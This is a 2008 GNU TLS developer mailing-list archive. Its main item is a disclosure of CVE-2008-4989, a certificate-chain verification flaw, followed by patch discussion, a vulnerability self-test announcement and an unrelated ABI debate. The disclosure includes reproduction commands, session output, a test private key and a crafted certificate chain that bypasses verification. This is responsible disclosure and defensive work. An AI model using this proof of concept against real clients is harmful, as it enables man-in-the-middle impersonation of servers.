Martin.vGagern at gmx.net (Martin von Gagern) Date: Mon, 10 Nov 2008 12:00:10 +0100 Subject: Analysis of vulnerability GNUTLS-SA-2008-3 CVE-2008-4989 Message-ID: <4918143A.3050103@gmx.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello GNU TLS developers, and other interested parties, This is an analysis fo the GNU TLS vulnerability recently published as GNUTLS-SA-2008-3 and CVE-2008-4989. I found a bug in GNU TLS which breaks X.509 certificate chain verification. This allows a man in the middle to assume any name and trick GNU TLS clients into trusting that name. This could be used to imitate a server using a specially crafted server certificate chain together with DNS spoofing or some way of intercepting packets along their route. It could also be used to imitate clients authenticating to some service using client certificates, again using specially crafted certificate chains. CAUSE OF THE VULNERABILITY The bug is in function _gnutls_x509_verify_certificate in x509/verify.c. 1. The last element of the certificate list is verified against the list of trusted certificates. 2. The last element is removed from the list if it is self signed. 3. The chain is checked to ensure that every certificate is signed by the one following it, with the exception of the last element. By appending an arbitrary self-signed trusted certificate to the list, the penultimate element is implicitely trusted, without being checked against the list of trusted certificates. As a solution to fix the issue, I suggest dropping self signed certs before validating any certificate against the list of trusted certificates. The attached patch should apply to older versions of GNU TLS as well, so distributions can use it to fix their released versions. An alternative might be to not drop self-signed certificates at all, as it doesn't seem necessary. This should be discussed by the developers. STEPS TO REPRODUCE IN A MODEL SETUP To reproduce, add "server" as an alias for localhost to your /etc/hosts. Run the following command, using the files attached: $ gnutls-serv --http -p 4433 -a \ --x509keyfile server.key --x509certfile chain.pem Then connect to this server using the GNU TLS client: $ gnutls-cli gnutls-cli --x509cafile thawte.pem -p 4433 server - Certificate[0] info: # The hostname in the certificate matches 'server'. # valid since: Mon Nov 3 13:05:04 CET 2008 # expires at: Wed Dec 3 13:05:04 CET 2008 # fingerprint: 2A:8E:2F:D6:73:A8:74:F7:D7:AE:E9:FC:C5:31:3D:00 # Subject's DN: C=DE,O=GNU TLS Attack,CN=server # Issuer's DN: C=DE,O=GNU TLS Attack,CN=intermediate - Certificate[1] info: # valid since: Mon Nov 3 13:04:45 CET 2008 # expires at: Wed Dec 3 13:04:45 CET 2008 # fingerprint: 3C:45:D6:7E:04:ED:BD:77:F1:AA:F8:17:D4:2E:14:E5 # Subject's DN: C=DE,O=GNU TLS Attack,CN=intermediate # Issuer's DN: C=DE,O=GNU TLS Attack,CN=root - Certificate[2] info: # valid since: Fri Nov 17 01:00:00 CET 2006 # expires at: Thu Jul 17 01:59:59 CEST 2036 # fingerprint: 8C:CA:DC:0B:22:CE:F5:BE:72:AC:41:1A:11:A8:D8:12 # Subject's DN: C=US,O=thawte\, Inc., OU=Certification Services Division, OU=(c) 2006 thawte\, Inc. - For authorized use only, CN=thawte Primary Root CA # Issuer's DN: C=US,O=thawte\, Inc., OU=Certification Services Division, OU=(c) 2006 thawte\, Inc. - For authorized use only, CN=thawte Primary Root CA - - Peer's certificate is trusted - - Version: TLS1.1 - - Key Exchange: DHE-RSA - - Cipher: AES-128-CBC - - MAC: SHA1 - - Compression: NULL - - Handshake was completed As you can see, there is no relation at all between Certificate[1] and Certificate[2]. By attaching the thawte root certificate, which is commonly trusted, I could get my own server authenticated as "server", without ever transmitting the bogus root of its chain. I used the http mode of gnutls-serv above so you can check browsers and other http-based tools against this server as well, to see if they are vulnerable. Greetings, Martin von Gagern -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkkYFDkACgkQRhp6o4m9dFvvGwCePvDi+wALLEjthVH1LXgCZqUk 3yIAoIsEar/BIVagS5ZA6r9kFtb5zsow =sMlK -----END PGP SIGNATURE----- -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: GNUTLS-SA-2008-3.patch URL: -------------- next part -------------- -----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQDKdL9g5ErMLOLRCjiomZlNLhy0moWGaKIWaX6vyUIfh8d6FcAr HoKoqhmX7ckvod50sOYPojQesDpl7gVaQNA6Ntr1VCcuNPefUKWtEwL0Qu9JbPnU oIYd7mAaqVQgFp6W6yzV/dp63LH4XSdzBMhpZ/EU6vZoE8SvVLdqj5r6jwIDAQAB AoGBAKX50Gu+vRNmOQznNEwEoImFpELr60ulvDxjgFjcxjjTN9X+vuyatsNPsGu9 pZJHQfiojfODJveBwl6OJBU5zXp1WBrFretdyl5wvTt9Gv31oxCPkcBTgefEpFtk CWQcMB9AsHEDMayCxP+EexODXVfaSx+a9uRBroiT5q837RgBAkEA+d2yQtJhWgm2 KPNCrVvlb5GVISeLnvB7mCaZtrPvs010ib2xnR/vLCqL1qWUJL2C/90TXCek6yG2 RwgyyOUzYQJBAM9tGXQXbOUKl+k0Q2QsV3m1MYoE1H4krNN/o/nr7bsyW1Mt88xc ZVJe2wWxyO06MGUqwOF+G8e6QI0T/J+x4+8CQFg2RXXD0iy4WwAQCY0scU63JeAD lw4wtmGb1w6ibdBuWuM5/heLq6N7Dc1kvW1PHo14HhqdwGJmj3R6V3uHN2ECQFdb mlmzN/BqeroDgdJhfmHKttdq21dY+NSGMDgkbdXmCmJIuyG5VA7R1ipaysVmOVWS IPOW2fpO7bq8zSswj08CQC+GqKa1CrzRJGFGIUOROuOfgAfOu8ugSMhpS8lQoY3B vYM6VtVdQjTE5je34tx6pTbbbA9h18YQVONekImYBvY= -----END RSA PRIVATE KEY----- -------------- next part -------------- -----BEGIN CERTIFICATE----- MIIB6zCCAVQCCQCgwnB/k0WZrDANBgkqhkiG9w0BAQUFADA9MQswCQYDVQQGEwJE RTEXMBUGA1UEChMOR05VIFRMUyBBdHRhY2sxFTATBgNVBAMTDGludGVybWVkaWF0 ZTAeFw0wODExMDMxMjA1MDRaFw0wODEyMDMxMjA1MDRaMDcxCzAJBgNVBAYTAkRF MRcwFQYDVQQKEw5HTlUgVExTIEF0dGFjazEPMA0GA1UEAxMGc2VydmVyMIGfMA0G CSqGSIb3DQEBAQUAA4GNADCBiQKBgQDKdL9g5ErMLOLRCjiomZlNLhy0moWGaKIW aX6vyUIfh8d6FcArHoKoqhmX7ckvod50sOYPojQesDpl7gVaQNA6Ntr1VCcuNPef UKWtEwL0Qu9JbPnUoIYd7mAaqVQgFp6W6yzV/dp63LH4XSdzBMhpZ/EU6vZoE8Sv VLdqj5r6jwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAH4QRR7sZEbjW00tXYk/3O/Z 96AxJNg0F78W5B68gaJrLJ7DTE2RTglscuEq1+2Jyb4AIziwXpYqxgwcP91QpH97 XfwdXIcyjYvVLHiKmkQj2zJTY7MeyiEQQ2it8VstZG2fYmi2EiMZIEnyJ2JJ7bA7 bF7pG7Cg3oEHUM0H5KUU -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIICADCCAWmgAwIBAgIJAIZ4nkHQAqTFMA0GCSqGSIb3DQEBBQUAMDUxCzAJBgNV BAYTAkRFMRcwFQYDVQQKEw5HTlUgVExTIEF0dGFjazENMAsGA1UEAxMEcm9vdDAe Fw0wODExMDMxMjA0NDVaFw0wODEyMDMxMjA0NDVaMD0xCzAJBgNVBAYTAkRFMRcw FQYDVQQKEw5HTlUgVExTIEF0dGFjazEVMBMGA1UEAxMMaW50ZXJtZWRpYXRlMIGf MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDvBpW8sAhIuUmNvcBE6wv/q7MtM1Z9 2I1SDL8eJ8I2nPg6BlCX+OIqNruynj8J7uPEQ04ZLwLxNXoyZa8057YFyrKLOvoj 5IfBtidsLWYv6PO3qqHJXVvwGdS7PKMuUlsjucCRyXVgQ07ODF7piqoVFi9KD99w AU5+9plGrZNP/wIDAQABoxAwDjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUA A4GBAGPg+M+8MsB6zHN2o+jAtyqovrTTwmzVWEgfEH/aHC9+imGZRQ5lFNc2vdny AgaJ9/izO5S6Ibb5zUowN2WhoUJOVipuQa2m9AviOgheoU7tmANC9ylm/pRkKy/0 n5UVzlKxDhRp/xBb7MWOw3KEQjiAf2Z3wCLcCPUqcJUdJC4v -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUF ADCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYG A1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UE CxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYx MTE3MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTAT BgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBT ZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJ bmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0 ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQCsoPD7gFnUnMekz52hWXMJEEUMDSxuaPFsW0hoSVk3/AszGcJ3f8wQ LZU0HObrTQmnHNK4yZc2AreJ1CRfBsDMRJSUjQJib+ta3RGNKJpchJAQeg29 dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGcq/gcfomk6KHYcWUNo1F7 7rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6Sk/KaAcd HJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94JNqR3 2HuHUETVPm4pafs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7 W0XPr87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUFAAOCAQEAeRHAS7OR tvzw6WfUDW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeE uzLlQRHAd9mzYJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQ aEfZYGDm/Ac9IiAXxPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqd E8hhuvU5HIe6uL17In/2/qxAeeWsEG89jxt5dovEN7MhGITlNgDrYyCZuen+ MwS7QcjBAvlEYyCegc5C09Y/LHbTY5xZ3Y+m4Q6gLkH3LpVHz7z9M/P2C2F+ fpErgUfCJzDupxBdN49cOSvkBPB7jVaMaA== -----END CERTIFICATE----- -------------- next part -------------- -----BEGIN CERTIFICATE----- MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUF ADCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYG A1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UE CxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYx MTE3MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTAT BgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBT ZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJ bmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0 ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQCsoPD7gFnUnMekz52hWXMJEEUMDSxuaPFsW0hoSVk3/AszGcJ3f8wQ LZU0HObrTQmnHNK4yZc2AreJ1CRfBsDMRJSUjQJib+ta3RGNKJpchJAQeg29 dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGcq/gcfomk6KHYcWUNo1F7 7rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6Sk/KaAcd HJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94JNqR3 2HuHUETVPm4pafs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7 W0XPr87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUFAAOCAQEAeRHAS7OR tvzw6WfUDW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeE uzLlQRHAd9mzYJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQ aEfZYGDm/Ac9IiAXxPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqd E8hhuvU5HIe6uL17In/2/qxAeeWsEG89jxt5dovEN7MhGITlNgDrYyCZuen+ MwS7QcjBAvlEYyCegc5C09Y/LHbTY5xZ3Y+m4Q6gLkH3LpVHz7z9M/P2C2F+ fpErgUfCJzDupxBdN49cOSvkBPB7jVaMaA== -----END CERTIFICATE----- From simon at josefsson.org Mon Nov 10 18:29:03 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 10 Nov 2008 18:29:03 +0100 Subject: New function gnutls_x509_crq_get_key_id In-Reply-To: ("David =?iso-8859-1?Q?Mar=EDn_Carre=F1o=22's?= message of "Sun, 9 Nov 2008 00:12:35 +0100") References: Message-ID: <87ej1j4hi8.fsf@mocca.josefsson.org> "David Mar?n Carre?o" writes: > Hi all. > > Here I attach a patch adding a new function for getting the key_id from a > certificate signing request, so you can test if a given private key > corresponds to a given CSR. > > It's based closely to the gnutls_x509_crt_get_key_id function. > > Please, revise it and, if seems ok, add to the repository. Hi! Thanks for the patch. I think this is large enough to require copyright papers. Would you please follow the instructions below? /Simon Please email the following information to assign at gnu.org, and we will send you the assignment form for your past and future changes. Please use your full legal name (in ASCII characters) as the subject line of the message. ---------------------------------------------------------------------- REQUEST: SEND FORM FOR PAST AND FUTURE CHANGES [What is the name of the program or package you're contributing to?] [Did you copy any files or text written by someone else in these changes? Even if that material is free software, we need to know about it.] [Do you have an employer who might have a basis to claim to own your changes? Do you attend a school which might make such a claim?] [For the copyright registration, what country are you a citizen of?] [What year were you born?] [Please write your email address here.] [Please write your postal address here.] [Which files have you changed so far, and which new files have you written so far?] From simon at josefsson.org Mon Nov 10 18:33:05 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 10 Nov 2008 18:33:05 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: <1226324836.3447.296.camel@vespa.frost.loc> (Tomas Mraz's message of "Mon, 10 Nov 2008 14:47:16 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> Message-ID: <87abc74hbi.fsf@mocca.josefsson.org> Tomas Mraz writes: > Hello, > > given the recent fix in the _gnutls_x509_verify_certificate I have been > looking at the function. I see there are currently some limitations in > it. For example it now doesn't allow verification of explicitely trusted > self-signed site certificate. Is there some other method how this could > be achieved? If not, then perhaps the test for the self-signed should be > performed only when clist_size > 1. Also the test for the clist_size > should be first test of the if(). > > The other limitation is that only the last certificate (after removing > eventual self-signed cert at the end of the chain) is checked against > the trusted list. That means you can not put just an intermediate CA > cert into the trusted list to be able to verify the chain. > > What do you think of these limitations, should they be removed? Hi. Thanks for looking at the code. Yes, I would agree that both situations should be permitted, and consequently that the limitations should be removed. /Simon From ametzler at downhill.at.eu.org Mon Nov 10 19:15:04 2008 From: ametzler at downhill.at.eu.org (Andreas Metzler) Date: Mon, 10 Nov 2008 19:15:04 +0100 Subject: Analysis of vulnerability GNUTLS-SA-2008-3 CVE-2008-4989 In-Reply-To: <4918143A.3050103@gmx.net> References: <4918143A.3050103@gmx.net> Message-ID: <20081110181504.GA4615@downhill.g.la> On 2008-11-10 Martin von Gagern wrote: > This is an analysis fo the GNU TLS vulnerability recently published as > GNUTLS-SA-2008-3 and CVE-2008-4989. > I found a bug in GNU TLS which breaks X.509 certificate chain > verification. This allows a man in the middle to assume any name and > trick GNU TLS clients into trusting that name. [...] This seems to apply to every recent gnutls version (at least even 1.4.4 shows the same output. Can you confirm that? cu and- not trusting myself currently -reas -- `What a good friend you are to him, Dr. Maturin. His other friends are so grateful to you.' `I sew his ears on from time to time, sure' From simon at josefsson.org Mon Nov 10 19:34:46 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 10 Nov 2008 19:34:46 +0100 Subject: Analysis of vulnerability GNUTLS-SA-2008-3 CVE-2008-4989 In-Reply-To: <20081110181504.GA4615@downhill.g.la> (Andreas Metzler's message of "Mon, 10 Nov 2008 19:15:04 +0100") References: <4918143A.3050103@gmx.net> <20081110181504.GA4615@downhill.g.la> Message-ID: <87prl32zw9.fsf@mocca.josefsson.org> Andreas Metzler writes: > On 2008-11-10 Martin von Gagern wrote: >> This is an analysis fo the GNU TLS vulnerability recently published as >> GNUTLS-SA-2008-3 and CVE-2008-4989. > >> I found a bug in GNU TLS which breaks X.509 certificate chain >> verification. This allows a man in the middle to assume any name and >> trick GNU TLS clients into trusting that name. > [...] > > This seems to apply to every recent gnutls version (at least even > 1.4.4 shows the same output. Can you confirm that? Yes, the buggy code is rather old so it affects many versions. /Simon From nmav at gnutls.org Mon Nov 10 21:04:52 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Mon, 10 Nov 2008 21:04:52 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: <1226324836.3447.296.camel@vespa.frost.loc> References: <1226324836.3447.296.camel@vespa.frost.loc> Message-ID: On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz wrote: > Hello, > given the recent fix in the _gnutls_x509_verify_certificate I have been > looking at the function. I see there are currently some limitations in > it. For example it now doesn't allow verification of explicitely trusted > self-signed site certificate. Is there some other method how this could > be achieved? You can achieve it by associating an address of a website with the keyid of the given certificate. This is more generic of trusting a self-signed certificate. You can trust any certificate first presented when accessing a website that way (ssh security). > The other limitation is that only the last certificate (after removing > eventual self-signed cert at the end of the chain) is checked against > the trusted list. That means you can not put just an intermediate CA > cert into the trusted list to be able to verify the chain. Indeed this algorithm is primitive. The idea was to allow applications to override it with custom-made advanced verification, but under with the current bug discovered in a "simple" algorithm I no longer think this is a good idea. Probably a more advanced verification subsystem should exist with enough hooks so applications could get detailed information about the verification[0]. However something like this is not in my near-future plans. We would be happy to receive, review and add patches for this functionality though. [0]. the whole idea of having a simplified verification algorithm in gnutls was because I thought that application would want to present detailed information to the client (where the verification failed etc). regards, Nikos From mrsam at courier-mta.com Tue Nov 11 02:35:55 2008 From: mrsam at courier-mta.com (Sam Varshavchik) Date: Mon, 10 Nov 2008 20:35:55 -0500 Subject: The _gnutls_x509_verify_certificate fix References: <1226324836.3447.296.camel@vespa.frost.loc> Message-ID: Tomas Mraz writes: > self-signed site certificate. Is there some other method how this could > be achieved? If not, then perhaps the test for the self-signed should be > performed only when clist_size > 1. Also the test for the clist_size > should be first test of the if(). > > The other limitation is that only the last certificate (after removing > eventual self-signed cert at the end of the chain) is checked against > the trusted list. That means you can not put just an intermediate CA > cert into the trusted list to be able to verify the chain. > > What do you think of these limitations, should they be removed? Here's how I always thought certificate verifications should work: 1) The first certificate must be one of your trusted certs 2) Each one of the following certificates must be signed by the previous one, ending with the peer's certificate It makes no sense to search the trusted list for any intermediate certs, neither does it make sense to treat self-signed certs in any special way. All of the root, trusted, certs are self-signed certs, the above logic works correctly for them. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: not available URL: From simon at josefsson.org Fri Nov 7 10:16:01 2008 From: simon at josefsson.org (Simon Josefsson) Date: Fri, 07 Nov 2008 10:16:01 +0100 Subject: Bug#503833: Unparseable PKCS cert In-Reply-To: <491369BC.8040403@gmail.com> (Nikos Mavrogiannopoulos's message of "Fri, 07 Nov 2008 00:03:40 +0200") References: <20081105201724.GF10690@colo.lackof.org> <20081106175321.GB30987@colo.lackof.org> <491345E2.7010401@gmail.com> <20081106211520.GF30987@colo.lackof.org> <491369BC.8040403@gmail.com> Message-ID: <87d4h7yjzi.fsf@mocca.josefsson.org> Nikos Mavrogiannopoulos writes: > dann frazier wrote: > >> Thanks Nikos. Our Debian maintainer has applied your fix and uploaded >> a package to our experimental repository. However, he does have some >> concerns about ABI compatibility that may make it harder for us to get >> it into the upcoming release: >> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=503833 >> Specifically: >> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=503833#23 >> I wonder if you have a take on this? > > Indeed it is an issue. Since this structure wasn't intended to be > exported in the new version of libtasn1 it will not be available (so it > will allow us to upgrade the library internals without changing the > API). In 99% of the projects using libtasn1 this will not be an issue > since this structure is not likely to be used. I just realized: doesn't Nikos' patch actually do two separate things? 1) Add the BER stuff needed to support the PKCS#12 blob 2) Optimize tree generation by using the small_value field. It is the 2) that causes the ABI break, but 1) that is needed to solve to the regression. Thinking about this, and speaking generally, I don't think optimizations are important enough to warrant an ABI break without good justification. Nikos, did you do any benchmarking? How much is slowed down because of this? I'm beginning to feel that we should remove the small_value part of this patch, to retain ABI compatibility. /Simon From simon at josefsson.org Mon Nov 10 08:55:02 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 10 Nov 2008 08:55:02 +0100 Subject: Bug#503833: Unparseable PKCS cert In-Reply-To: (Nikos Mavrogiannopoulos's message of "Sat, 8 Nov 2008 19:38:06 +0100") References: <20081105201724.GF10690@colo.lackof.org> <20081106175321.GB30987@colo.lackof.org> <491345E2.7010401@gmail.com> <20081106211520.GF30987@colo.lackof.org> <491369BC.8040403@gmail.com> <87d4h7yjzi.fsf@mocca.josefsson.org> Message-ID: <87r65k817t.fsf@mocca.josefsson.org> "Nikos Mavrogiannopoulos" writes: > On Fri, Nov 7, 2008 at 10:16 AM, Simon Josefsson wrote: > >> I just realized: doesn't Nikos' patch actually do two separate things? >> >> 1) Add the BER stuff needed to support the PKCS#12 blob >> >> 2) Optimize tree generation by using the small_value field. >> >> It is the 2) that causes the ABI break, but 1) that is needed to solve >> to the regression. >> >> Thinking about this, and speaking generally, I don't think optimizations >> are important enough to warrant an ABI break without good justification. >> Nikos, did you do any benchmarking? How much is slowed down because of >> this? > > I don't think this is a question that we would like to set to > ourselves. It leads to another questions on which optimization would > be good enough or which addition is good enough to justify the break. > > The real question would be whether we want the internal structures > published on the public API. I don't think we want this. It leads to > us being handicap (like we are now) to apply any optimization/addition > to the internal works of the library. Thus for me it is a good thing > to move them away as soon as we can to allow further development on > libtasn1. > > The other question is whether someone would like to split this patch > and apply the fix for the another compatible stable release to be > made, or just for debian version to apply it. I am not interested in > doing it, but I wouldn't object either. It is a good thing to do. > >> I'm beginning to feel that we should remove the small_value part of this >> patch, to retain ABI compatibility. > > No I am strongly against such a move. We would have to answer again > this question on the next serious change. By insisting on being > backwards compatible (without a serious reason) we will prevent any > further development on this library. I agree, my proposal was to just remove the patch temporarily, but I wasn't clear on that. Thus I propose this plan which as far as I can tell seems OK with everyone: Release v1.6 now to fix the PKCS#12/BER problem but does not contain the optimized code, and is thus fully API and ABI backwards compatible. Apply the small_values patch on master, and prepare a v2.0 release. I'll wait 2-3 weeks to see if there are major problems with v1.6 (quite a lot of things have changed compared to v1.5) and then release it. /Simon From tmraz at redhat.com Tue Nov 11 11:10:48 2008 From: tmraz at redhat.com (Tomas Mraz) Date: Tue, 11 Nov 2008 11:10:48 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: References: <1226324836.3447.296.camel@vespa.frost.loc> Message-ID: <1226398248.3447.353.camel@vespa.frost.loc> On Mon, 2008-11-10 at 21:04 +0100, Nikos Mavrogiannopoulos wrote: > On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz wrote: > > Hello, > > given the recent fix in the _gnutls_x509_verify_certificate I have been > > looking at the function. I see there are currently some limitations in > > it. For example it now doesn't allow verification of explicitely trusted > > self-signed site certificate. Is there some other method how this could > > be achieved? > You can achieve it by associating an address of a website with the > keyid of the given > certificate. This is more generic of trusting a self-signed > certificate. You can trust any > certificate first presented when accessing a website that way (ssh security). But the patch should be modified anyway because in case the server presents just a self-signed site certificate there will be a dereference of the certificate_list[-1]. It is also questionable whether the function should not also check for clist_size of 0 before calling _gnutls_verify_certificate2(). -- Tomas Mraz No matter how far down the wrong road you've gone, turn back. Turkish proverb -------------- next part -------------- A non-text attachment was scrubbed... Name: gnutls-1.4.1-cve-2008-4989.patch Type: text/x-patch Size: 1388 bytes Desc: not available URL: From wk at gnupg.org Tue Nov 11 12:09:01 2008 From: wk at gnupg.org (Werner Koch) Date: Tue, 11 Nov 2008 12:09:01 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: (Sam Varshavchik's message of "Mon, 10 Nov 2008 20:35:55 -0500") References: <1226324836.3447.296.camel@vespa.frost.loc> Message-ID: <87y6zqldte.fsf@wheatstone.g10code.de> On Tue, 11 Nov 2008 02:35, mrsam at courier-mta.com said: > 1) The first certificate must be one of your trusted certs > > 2) Each one of the following certificates must be signed by the > previous one, ending with the peer's certificate And there are dozens of other constraints you have to obey when doing an X.509 certificate chain verification. A simple I recently wrote is in dirmngr/src/validate.c which is about 1100 lines. However the code may not be suitable for DoS affected scenarios. Shalom-Salam, Werner -- Die Gedanken sind frei. Auschnahme regelt ein Bundeschgesetz. From simon at josefsson.org Tue Nov 11 15:29:53 2008 From: simon at josefsson.org (Simon Josefsson) Date: Tue, 11 Nov 2008 15:29:53 +0100 Subject: cve-2008-4989.c Message-ID: <87k5bas5cu.fsf@mocca.josefsson.org> Here is a self-test that detects whether the installed libgnutls is vulnerable or not. Build it: gcc -o cve-2008-4989 cve-2008-4989.c -lgnutls Output for vulnerable libraries: jas at mocca:~/src/gnutls/tests master$ LD_PRELOAD=/usr/lib/libgnutls.so ./cve-2008-4989 ; echo $? ./cve-2008-4989: verify_status: 0 1 jas at mocca:~/src/gnutls/tests master$ Output for fixed libraries: jas at mocca:~/src/gnutls/tests master$ ./cve-2008-4989 ; echo $? 0 jas at mocca:~/src/gnutls/tests master$ This will part of future releases to test regressions: http://git.savannah.gnu.org/gitweb/?p=gnutls.git;a=commitdiff;h=4d0486baaf9d65d965ecefd38647f4518bf0d0d7 /Simon -------------- next part -------------- A non-text attachment was scrubbed... Name: cve-2008-4989.c Type: text/x-csrc Size: 7626 bytes Desc: not available URL: From simon at josefsson.org Tue Nov 11 16:05:42 2008 From: simon at josefsson.org (Simon Josefsson) Date: Tue, 11 Nov 2008 16:05:42 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: <1226398248.3447.353.camel@vespa.frost.loc> (Tomas Mraz's message of "Tue, 11 Nov 2008 11:10:48 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <1226398248.3447.353.camel@vespa.frost.loc> Message-ID: <87y6zqqp4p.fsf@mocca.josefsson.org> Tomas Mraz writes: > On Mon, 2008-11-10 at 21:04 +0100, Nikos Mavrogiannopoulos wrote: >> On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz wrote: >> > Hello, >> > given the recent fix in the _gnutls_x509_verify_certificate I have been >> > looking at the function. I see there are currently some limitations in >> > it. For example it now doesn't allow verification of explicitely trusted >> > self-signed site certificate. Is there some other method how this could >> > be achieved? >> You can achieve it by associating an address of a website with the >> keyid of the given >> certificate. This is more generic of trusting a self-signed >> certificate. You can trust any >> certificate first presented when accessing a website that way (ssh security). > > But the patch should be modified anyway because in case the server > presents just a self-signed site certificate there will be a dereference > of the certificate_list[-1]. > > It is also questionable whether the function should not also check for > clist_size of 0 before calling _gnutls_verify_certificate2(). Indeed. This may explain: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505279 /Simon > -- > Tomas Mraz > No matter how far down the wrong road you've gone, turn back. > Turkish proverb > diff -up gnutls-1.4.1/lib/x509/verify.c.chain-verify gnutls-1.4.1/lib/x509/verify.c > --- gnutls-1.4.1/lib/x509/verify.c.chain-verify 2008-11-11 10:55:19.000000000 +0100 > +++ gnutls-1.4.1/lib/x509/verify.c 2008-11-11 10:58:54.000000000 +0100 > @@ -379,6 +379,17 @@ _gnutls_x509_verify_certificate (const g > int i = 0, ret; > unsigned int status = 0, output; > > + /* Check if the last certificate in the path is self signed. > + * In that case ignore it (a certificate is trusted only if it > + * leads to a trusted party by us, not the server's). > + */ > + if (clist_size > 1 && > + gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], > + certificate_list[clist_size - 1]) > 0) > + { > + clist_size--; > + } > + > /* Verify the last certificate in the certificate path > * against the trusted CA certificate list. > * > @@ -417,17 +428,6 @@ _gnutls_x509_verify_certificate (const g > } > #endif > > - /* Check if the last certificate in the path is self signed. > - * In that case ignore it (a certificate is trusted only if it > - * leads to a trusted party by us, not the server's). > - */ > - if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], > - certificate_list[clist_size - 1]) > 0 > - && clist_size > 0) > - { > - clist_size--; > - } > - > /* Verify the certificate path (chain) > */ > for (i = clist_size - 1; i > 0; i--) 